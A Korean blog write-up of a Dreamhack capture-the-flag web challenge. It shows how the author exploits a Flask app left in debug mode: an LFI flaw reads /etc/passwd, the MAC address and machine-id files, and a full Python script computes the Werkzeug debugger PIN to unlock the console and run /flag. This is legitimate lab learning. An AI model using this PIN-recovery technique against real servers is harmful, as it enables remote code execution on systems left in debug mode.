문제 정보
취약점을 찾아 플래그를 획득해보세요.
플래그는 /flag를 실행하면 얻을 수 있습니다.
해당 문제는 숙련된 웹해커를 위한 문제입니다.
풀이 힌트
1. Flask Debugger Exploit
2. Python Programming
문제 풀이
![](https://blog.kakaocdn.net/dn/ldOtQ/btrnORs85r4/C2YtiiSPvnBQPJKvGmh8G1/img.png)
문제 페이지를 들어가니, 아무것도 없고 "Hello !"만 덜렁덜렁있었다.
![](https://blog.kakaocdn.net/dn/bsfsD9/btrnN29xQis/ZzoHOhzqVzAfYP7UdpQ2tK/img.png)
아무런 정보가 없어서 혹시나 하는 맘에 robots.txt를 요청하니, flask가 debugger 모드로 실행되고 있었다.
내가 flask를 공부했을 때 flask의 debugger 모드에서 취약점이 있으니, 배포할 때 꼭 debugger 모드로 되어있는지 체크하라고 했던 것으로 기억난다.
구글에 "Flask Debugger PIN exploit"이라고 검색하니 무수히 많은 블로그들의 글이 보였다.
참고 사이트
https://www.daehee.com/werkzeug-console-pin-exploit/
https://dohunny.tistory.com/10
https://lactea.kr/entry/python-flask-debugger-pin-find-and-exploit
![](https://blog.kakaocdn.net/dn/b2L4jk/btrnPk9YMzI/rJESHElckO3hleB3xtvwHk/img.png)
참고사이트 중 하나를 들어가서 읽어보니, debugger 페이지에서 console를 사용하여 명령을 내릴 수 있고 console를 사용하기 위해 PIN이 필요로 하였다. 그 PIN은 몇가지 정보들로 생성이 가능하는데 LFI 취약점을 이용하여 그 정보들을 취득하여 PIN를 생성할 수 있다는 것이다.
이제 한번 위 내용을 토대로 공격을 시도하겠다.
![](https://blog.kakaocdn.net/dn/bsWKcf/btrnGH5SItf/A3u7IWOf8u2wOz8kk94skK/img.png)
PIN을 생성하는 코드는 werkzeug의 __init__.py에 들어있다고 한다. Error 메시지를 살펴보면 위치가 그대로 보인다.
이를 토대로 LFI 공격을 해볼거지만 될지는 잘 모르겠다. 일단 시도해보겠다.
![](https://blog.kakaocdn.net/dn/dtZsF4/btrnLIcpNhv/EA7XvNF7uTEegCKaCw8JvK/img.png)
![](https://blog.kakaocdn.net/dn/AHHIz/btrnPj4d8v1/QPqlnn9Tjb3TJhsLtEMcK0/img.png)
다행히 경로+파일명을 넣으면 파일을 읽어서 출력하는 기능을 하는 것이라서 LFI 공격이 성공하였다.
![](https://blog.kakaocdn.net/dn/cxD5GN/btrnOP266gR/8Vyj9Om7PpKJLMbJ8q0SB1/img.png)
일단 보기 좋게 vscode에 넣어서 확인을 했다. PIN을 생성하는 함수를 확인해본 결과 참고 사이트와 같아서 그대로 공격을 시도하겠다.
PIN를 생성하기 위해 필요한 인자값은 밑과 같다.
probably_public_bits = [
username, # app.py를 실행하는 사용자 이름
modname, # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')), # Flask
getattr(mod, '__file__', None), # flask의 app.py 절대 경로
]
private_bits = [
str(uuid.getnode()), # 서버의 MAC 주소
get_machine_id(), # 서버의 '/etc/machine-id' 파일의 값 + '/proc/sys/kernel/random/boot_i' 파일의 값 + '/proc/self/cgroup' 파일의 값
]
해당 정보들을 LFI을 이용하여 구해보겠다.
![](https://blog.kakaocdn.net/dn/ByCIA/btrnN2aEt2S/9UM6Ed4W751P2jkHmRiSA0/img.png)
![](https://blog.kakaocdn.net/dn/b6z1DR/btrnLHR7T8b/Fvnik3YH0axbU7mdwiH7h0/img.png)
일단 app.py를 실행하는 사용자 이름을 찾으려고 /etc/passwd 파일을 출력하였다.
확인해보니 의심이 가는 사용자 이름인 dreamhack이 보였다.
![](https://blog.kakaocdn.net/dn/cvzCJP/btrnJBxUL03/dYAZejm0h8UBuD2g4mhvUk/img.png)
![](https://blog.kakaocdn.net/dn/kBI00/btrnJBxUMci/qYXlGzEVDMN8lIFkQp3Yv0/img.png)
서버의 MAC 주소를 찾기위해 /sys/class/net/eth0/address 파일을 요청하였다.
/sys/class/net/eth0/address 파일은 MAC 주소가 저장된 파일이다.
![](https://blog.kakaocdn.net/dn/wtZkz/btrnQ21JJmn/8knsvSzKZpnEYuSADoSIG1/img.png)
![](https://blog.kakaocdn.net/dn/pdZgv/btrnQjCHDkJ/HgKftlQFsTvfKkazr1KsW0/img.png)
![](https://blog.kakaocdn.net/dn/ZU0uP/btrnQ5Eb3UP/edK7c8uSaJTtT9T8IKl9G1/img.png)
![](https://blog.kakaocdn.net/dn/NudkV/btrnQjvX7b1/TyEdK32pg3Dt6vh8w5zl8K/img.png)
![](https://blog.kakaocdn.net/dn/lbZki/btrnQ37oaPs/tVE9tIPa3KWyMAYYWDjvC0/img.png)
![](https://blog.kakaocdn.net/dn/ETjQk/btrnLHq5u8e/A556uHBnBbJbYusfaev291/img.png)
machine id를 구하기 위해 위 값들을 구하였다. python3.5은 /etc/machine-id 파일 값을 넣으면 되지만, python3.8은 조금 다르다.
_machine_id = None
def get_machine_id():
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
return linux
_machine_id = _generate()
return _machine_id
위 코드는 get_machine_id 함수이다.
아주 간단하게 말하면 /etc/machine-id 파일 값 or /proc/sys/kernel/random/boot_id 파일 값 + /proc/self/cgroup 파일 값이 return 값이다.
주의할 점은 return 값은 byte로 되어있어야 한다.
/proc/self/cgroup 파일 값은 13:pids:/libpod_parent/libpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d으로 되어있는데 rpartition 함수를 이용하여 libpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d을 추출하는 것이다.
나는 구해보니깐, b"c31eea55a29431535ff01de94bdcf5cflibpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d"으로 나온다. 이를 토대로 PIN를 구해봤다.
import hashlib
from itertools import chain
probably_public_bits = [
"dreamhack",
"flask.app",
"Flask",
"/usr/local/lib/python3.8/site-packages/flask/app.py",
]
private_bits = [
"187999308485633", # MAC 주소 16진수 -> int
b"c31eea55a29431535ff01de94bdcf5cflibpod-e2e2f42575a3bfccea6451c9cde80f03574326f98ef0a7b8d64a7e949eea285d",
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
![](https://blog.kakaocdn.net/dn/dU75Fp/btrnLI4ysU4/1KdKQeKaMp2BmN5wKsiUe1/img.png)
이 값을 넣으니, Console Locked이 풀렸다.
![](https://blog.kakaocdn.net/dn/duaFf3/btrnR2UMWZ9/MkHIDs31WtpcQxJ5WTWZwK/img.png)
이제 /flag 파일을 실행하면 flag를 얻을 수 있다.
![](https://blog.kakaocdn.net/dn/Pb4t5/btrnQkIpb6j/FbbbBL0RBSToWaxK0w2qR0/img.png)
아주 간단하게 os 모듈을 이용하여 flag 파일을 실행하여 flag 값을 얻을 수 있었다.
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack Web - Lv 2] chocoshop (0) | 2021.12.18 |
---|---|
[Dreamhack Web - Lv 2] weblog-1 (0) | 2021.12.14 |
[Dreamhack Web - Lv 2] blind-command (0) | 2021.12.11 |
[Dreamhack Web - Lv 2] web-ssrf (0) | 2021.12.06 |
[Dreamhack Web - Lv 2] web-deserialize-python (0) | 2021.12.05 |
Comment